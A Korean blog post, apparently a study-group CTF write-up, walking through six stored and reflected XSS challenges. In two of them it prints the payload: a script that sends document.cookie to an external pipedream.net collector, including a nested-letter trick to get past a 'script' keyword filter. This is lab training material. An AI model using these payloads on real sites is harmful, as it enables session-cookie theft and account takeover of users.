Normaltic 모의해킹 취업반 스터디 8기 - 10주차 과제(CTF Write-up)

containerxox·2025년 6월 19일
post-thumbnail

☑️ XSS1

👉 9주차 Write-up XSS1 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss1

1. 공지사항 게시판의 title부분에는 Stored XSS 취약점이 존재
→ title부분에 사용자의 쿠키를 탈취하여 내 서버로 전송하는 스크립트가 실행되도록 만들자.

create_title 파라미터

create_content 파라미터 → content

2. 공지사항 글 게시하기 → 게시글 클릭 → 게시글 URL주소 복사

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭

4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!




☑️ XSS2

👉 9주차 Write-up XSS2 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss2

1. 공지사항 검색란에 Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)

title 검색


➡️ 검색한 문자열(title)이 alert 함수의 인자로 직접 삽입되는 구조이다.

2. 스크립트 구조를 이용하여 공격자 서버로 관리자의 쿠키를 전송해보자.

‣ Request (요청)
↳ 기존의 POST 방식에서 GET방식으로 변경!
↳ Copy URL

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭


✔️ 관리자의 쿠키가 공격자의 서버로 전송됨 → 쿠키 탈취 성공 !




☑️ XSS3

👉 9주차 Write-up XSS3 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss3

1. 마이페이지에 Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)

➡️ user라는 URL 파라미터 값을 바탕으로 placeholder값을 동적으로 바꿔서 출력하는 구조이다.


💡구조

2. URL 파라미터 user의 값을 user01으로 바꿔서 placeholder값도 user01으로 바꿔보고,
<script></script>를 추가하여, 관리자의 쿠키를 공격자 서버로 보내는 스크립트를 작성해보자.


‣ Request (요청)
↳ Copy URL

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭

4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!




☑️ XSS4

👉 9주차 Write-up XSS4 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss4

1. 공지사항의 제목입력란, 내용입력란에서 Stored XSS 취약점이 존재함 (9주차 Write-up 참고하세요)

➡️ script 문자열이 필터링되기 때문에,
  중간에 문자를 끼워 넣어서 우회하자!
  (대소문자 혼용해도 필터링 됨)
➡️ alert 문자열이 필터링되기 때문에,
  중간에 문자를 끼워 넣어서 우회하자!
   (대소문자 혼용하면 필터링 X)

2. 필터링을 우회하여 관리자의 쿠키를 공격자 서버에 전송해보자.

  • 공지사항의 제목입력란 ( create_title 파라미터 )
    ➡️ script 필터링 우회하기 + 관리자 쿠키를 공격자 서버에 전송
<sscriptcript>
	var cookieData = document.cookie;
	var i = new Image();
	i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData);
</sscriptcript>


create_title파라미터의 위처럼 값을 변경하고 send했지만, 파라미터의 값이 너무 길다는 응답을 받음.
➡️ create_title파리미터 길이의 제한 O

💁‍♀️ 내용입력란의 create_body파라미터에 공격 스크립트를 작성해서 전송해야할 것 같다.


  • 공지사항의 내용입력란 ( create_ content 파라미터 )
    ➡️ script 필터링 우회하기 + 관리자 쿠키를 공격자 서버에 전송
<sscriptcript>
	var cookieData = document.cookie;
	var i = new Image();
	i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData);
</sscriptcript>


➡️ create_body 파라미터에 의해 내가 작성한 스크립트가 잘 전달되었음을 확인할 수 있다.

➡️ Copy URL

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭

4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!




☑️ XSS5

👉 9주차 Write-up XSS5 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss5

1. 공지사항의 내용입력란에서 Stored XSS 취약점이 존재함 (9주차 Write-up 참고하세요)

➡️ title부분은 HTML Entity처리가 되어서 XSS 공격이 힘들지만,

➡️ content부분은 HTML Entity가 적용되어 있지 않아서 XSS 공격이 가능
➡️ content 부분은 HTML Entity 적용되지 않아서, 스크립트 실행가능함.
➡️ 또한 <,',",>,<script>,</script>가 필터링 되지 않음!

2. create_body에 관리자의 쿠키를 공격자 서버에 전송하는 스크립트를 작성하여 게시글에 저장하자.

‣ create_title : title
‣ create_body:

<script>
	var cookieData = document.cookie;
	var i = new Image();
	i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData);
</script>


➡️ create_body 파라미터에 의해 내가 작성한 스크립트가 잘 전달되었음을 확인할 수 있다.

➡️ Copy URL

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭

4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!




☑️ XSS6

👉 9주차 Write-up XSS6 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss6

1. 로그인페이지에서 존재하지 않는 계정으로 로그인하게 될 때, Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)

① 공지사항 게시글 작성
: 공지사항 게시글 작성의 title부분, content부분 둘 다 HTML Entity 처리됨
→ XSS 취약점 찾기 힘듦.

② 공지사항의 검색
: 검색한 문자열이 alert함수의 인자로 직접 삽입되는 구조가 X
→ XSS 취약점 찾기 힘듦.

③ 마이페이지
: 개인정보를 수정하려고 입력한 문자열이 alert 함수의 인자로 직접 삽입되는 구조 X
→ XSS 취약점 찾기 힘듦.

③ 로그인 페이지(✔️)
: 존재하지 않는 계정으로 로그인 시도 ( id: test, pw: test1234 )
[test] 등록되지 않은 사용자입니다.라는 알림창이 뜸.
→ 사용자가 입력한 email 값을 alert 인자에 삽입하여 출력되고 있다!
→ Reflectedd XSS 취약점 존재할 가능성 有!




➡️ 구조

2. 존재하지 않는 계정으로 로그인 시도 하되, id파라미터의 값은 아래처럼 작성하여 전송하자.

➡️ document.location.href: 다른 URL로 이동시킴
➡️ // 주석처리

3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭

4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!

0개의 댓글